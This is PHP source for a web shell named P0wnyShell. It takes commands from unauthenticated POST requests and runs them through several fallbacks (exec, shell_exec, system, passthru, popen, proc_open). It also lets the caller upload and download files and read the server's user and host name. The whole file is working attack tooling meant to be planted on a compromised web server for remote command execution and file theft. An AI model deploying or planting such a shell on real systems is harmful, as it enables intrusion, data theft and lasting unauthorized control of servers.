1<?php 2 3class P0wnyShell 4{ 5 6 protected $logo = <<<LOGO 7X ___ ____ _ _ _ _ _ 8 _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ 9| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _| 10| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _| 11| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| 12|_| |___/ \____/X 13LOGO; 14 15 16 /** 17 * Ask the shell to expand the given path 18 * 19 * @param string $path 20 * @return string 21 */ 22 protected function expandPath($path) 23 { 24 if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) { 25 exec("echo $match[1]", $stdout); 26 return $stdout[0] . $match[2]; 27 } 28 return $path; 29 } 30 31 /** 32 * Check that all given functions exist 33 * 34 * @param string[] $list 35 * @return bool 36 */ 37 protected function allFunctionExist($list = []) 38 { 39 foreach ($list as $entry) { 40 if (!function_exists($entry)) { 41 return false; 42 } 43 } 44 return true; 45 } 46 47 /** 48 * Try to pass the given command to the shell and execute it 49 * 50 * Tries multiple ways to execute the command 51 * @param string $cmd The command to execute 52 * @return string The output 53 */ 54 protected function executeCommand($cmd) 55 { 56 $output = ''; 57 if (function_exists('exec')) { 58 exec($cmd, $output); 59 $output = implode("\n", (array)$output); 60 } else if (function_exists('shell_exec')) { 61 $output = shell_exec($cmd); 62 } else if ($this->allFunctionExist(['system', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) { 63 ob_start(); 64 system($cmd); 65 $output = ob_get_contents(); 66 ob_end_clean(); 67 } else if ($this->allFunctionExist(['passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) { 68 ob_start(); 69 passthru($cmd); 70 $output = ob_get_contents(); 71 ob_end_clean(); 72 } else if ($this->allFunctionExist(['popen', 'feof', 'fread', 'pclose'])) { 73 $handle = popen($cmd, 'r'); 74 while (!feof($handle)) { 75 $output .= fread($handle, 4096); 76 } 77 pclose($handle); 78 } else if ($this->allFunctionExist(['proc_open', 'stream_get_contents', 'proc_close'])) { 79 $handle = proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $pipes); 80 $output = stream_get_contents($pipes[1]); 81 proc_close($handle); 82 } 83 return $output; 84 } 85 86 /** 87 * Is this running on a windows system? 88 * 89 * @return bool 90 */ 91 protected function isRunningWindows() 92 { 93 return stripos(PHP_OS, "WIN") === 0; 94 } 95 96 /** 97 * Execute the given command 98 * 99 * @param string $cmd The command to execute 100 * @param string $cwd The current working directory 101 * @return array 102 */ 103 public function featureShell($cmd, $cwd) 104 { 105 $stdout = ""; 106 107 if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) { 108 chdir($this->expandPath("~")); 109 } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) { 110 chdir($cwd); 111 preg_match("/^\s*cd\s+(\S+)\s*(2>&1)?$/", $cmd, $match); 112 chdir($this->expandPath($match[1])); 113 } elseif (preg_match("/^\s*download\s+\S+\s*(2>&1)?$/", $cmd)) { 114 chdir($cwd); 115 preg_match("/^\s*download\s+(\S+)\s*(2>&1)?$/", $cmd, $match); 116 return $this->featureDownload($match[1]); 117 } else { 118 chdir($cwd); 119 $stdout = $this->executeCommand($cmd); 120 } 121 122 return array( 123 "stdout" => base64_encode($stdout), 124 "cwd" => base64_encode(getcwd()) 125 ); 126 } 127 128 /** 129 * Get the current working directory 130 * 131 * @return array 132 */ 133 public function featurePwd() 134 { 135 return array("cwd" => base64_encode(getcwd())); 136 } 137 138 /** 139 * Create autocompletion hints 140 * 141 * @param string $fileName The part to complete 142 * @param string $cwd The current working directory 143 * @param string $type The type of completion (cmd or file) 144 * @return array 145 */ 146 public function featureHint($fileName, $cwd, $type) 147 { 148 chdir($cwd); 149 if ($type == 'cmd') { 150 $cmd = "compgen -c $fileName"; 151 } else { 152 $cmd = "compgen -f $fileName"; 153 } 154 $cmd = "/bin/bash -c \"$cmd\""; 155 $files = explode("\n", shell_exec($cmd)); 156 foreach ($files as &$filename) { 157 $filename = base64_encode($filename); 158 } 159 return array( 160 'files' => $files, 161 ); 162 } 163 164 /** 165 * Pass a file to the browser for download 166 * 167 * @param $filePath 168 * @return array 169 */ 170 public function featureDownload($filePath) 171 { 172 $file = @file_get_contents($filePath); 173 if ($file === FALSE) { 174 return array( 175 'stdout' => base64_encode('File not found / no read permission.'), 176 'cwd' => base64_encode(getcwd()) 177 ); 178 } else { 179 return array( 180 'name' => base64_encode(basename($filePath)), 181 'file' => base64_encode($file) 182 ); 183 } 184 } 185 186 /** 187 * Save the given file to the given path 188 * 189 * @param string $path File to write, may be relative to the current working directory 190 * @param string $file Base64 encoded file contents 191 * @param string $cwd current working directory 192 * @return array 193 */ 194 public function featureUpload($path, $file, $cwd) 195 { 196 chdir($cwd); 197 $f = @fopen($path, 'wb'); 198 if ($f === FALSE) { 199 return array( 200 'stdout' => base64_encode('Invalid path / no write permission.'), 201 'cwd' => base64_encode(getcwd()) 202 ); 203 } else { 204 fwrite($f, base64_decode($file)); 205 fclose($f); 206 return array( 207 'stdout' => base64_encode('Done.'), 208 'cwd' => base64_encode(getcwd()) 209 ); 210 } 211 } 212 213 /** 214 * Get the current user and host 215 * 216 * @return array 217 */ 218 public function featureUserHost($cwd) 219 { 220 chdir($cwd); 221 $result = [ 222 'username' => '', 223 'hostname' => '', 224 'cwd' => base64_encode(getcwd()) 225 ]; 226 227 if ($this->isRunningWindows()) { 228 $username = getenv('USERNAME'); 229 if ($username !== false) { 230 $result['username'] = base64_encode($username); 231 } 232 } else { 233 $pwuid = posix_getpwuid(posix_geteuid()); 234 if ($pwuid !== false) { 235 $result['username'] = base64_encode($pwuid['name']); 236 } 237 } 238 239 $hostname = gethostname(); 240 if ($hostname !== false) { 241 $result['hostname'] = base64_encode($hostname); 242 } 243 244 return $result; 245 } 246 247 /** 248 * Output some minimal HTML to load the shell 249 * 250 * @return void 251 */ 252 public function html() 253 { 254 $logo = trim(trim($this->logo, " \n"), "X"); 255 256 echo <<<HTML 257<!DOCTYPE html> 258<html lang="en"> 259<head> 260 <meta charset="UTF-8" /> 261 <title>p0wny@shell:~#</title> 262 <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 263 <style> 264 body, html { 265 margin: 0; 266 padding: 0; 267 height: 100vh; 268 width: 100vw; 269 } 270 </style> 271</head> 272<body> 273 <p0wny-shell>$logo</p0wny-shell> 274</body> 275<script src="P0wnyShell.js"></script> 276</html> 277HTML; 278 } 279 280 /** 281 * Execute the feature given in the GET parameter 282 * 283 * @return void 284 */ 285 public function execute() 286 { 287 if (!isset($_GET["feature"])) die('no feature'); 288 289 $response = NULL; 290 switch ($_GET["feature"]) { 291 case "shell": 292 $cmd = $_POST['cmd']; 293 if (!preg_match('/2>/', $cmd)) { 294 $cmd .= ' 2>&1'; 295 } 296 $response = $this->featureShell($cmd, $_POST["cwd"]); 297 break; 298 case "pwd": 299 $response = $this->featurePwd(); 300 break; 301 case "hint": 302 $response = $this->featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']); 303 break; 304 case 'upload': 305 $response = $this->featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']); 306 break; 307 case 'userhost': 308 $response = $this->featureUserHost($_POST['cwd']); 309 break; 310 } 311 312 header("Content-Type: application/json"); 313 echo json_encode($response); 314 exit(); 315 } 316} 317